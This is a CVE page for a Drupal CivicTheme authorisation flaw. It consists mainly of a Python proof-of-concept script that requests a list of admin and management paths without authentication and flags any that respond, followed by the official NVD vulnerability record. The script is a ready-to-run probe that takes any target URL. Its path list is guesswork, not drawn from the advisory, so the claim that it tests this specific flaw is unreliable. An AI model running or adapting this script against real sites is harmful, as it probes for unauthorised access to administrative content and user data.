CVE-2025-12082

# CVE-2025-12082 Drupal CivicTheme Design System Forceful Browsing PoC # This PoC demonstrates accessing protected pages without authentication import requests import sys TARGET_URL = "https://example-civicsite.com" # Common protected paths in CivicTheme that may be accessible PROTECTED_PATHS = [ "/civictheme/manage/pages", "/civictheme/manage/components", "/civictheme/manage/templates", "/civictheme/manage/settings", "/civictheme/admin/content", "/civictheme/admin/users", "/civictheme/api/entities", "/civictheme/node/add", "/civictheme/admin/config" ] def check_forceful_browsing(target): """Check if protected paths are accessible without authentication""" print(f"[*] Testing {target} for Forceful Browsing vulnerability...") print(f"[*] CVSS: 7.5 (High)") print(f"[*] Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n") vulnerable_paths = [] for path in PROTECTED_PATHS: url = target.rstrip('/') + path try: response = requests.get(url, timeout=10, allow_redirects=False) # Check if response indicates successful access (not 401/403) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'text/html' in content_type or 'application/json' in content_type: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Content-Length: {len(response.content)}") vulnerable_paths.append(path) elif response.status_code == 302: location = response.headers.get('Location', '') if 'login' not in location.lower(): print(f"[!] POSSIBLE: {url} -> Redirects to {location}") except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") if vulnerable_paths: print(f"\n[!] Found {len(vulnerable_paths)} accessible protected paths") return True else: print("\n[*] No vulnerable paths found (may need path enumeration)") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL check_forceful_browsing(target)

{"cve": {"id": "CVE-2025-12082", "sourceIdentifier": "[email protected]", "published": "2025-10-30T00:15:34.547", "lastModified": "2025-12-03T20:10:18.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization vulnerability in Drupal CivicTheme Design System allows Forceful Browsing.This issue affects CivicTheme Design System: from 0.0.0 before 1.12.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salsa.digital:civictheme_design_system:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "1.12.0", "matchCriteriaId": "F81CB451-2D2E-411C-986A-E67AC5612780"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-112", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}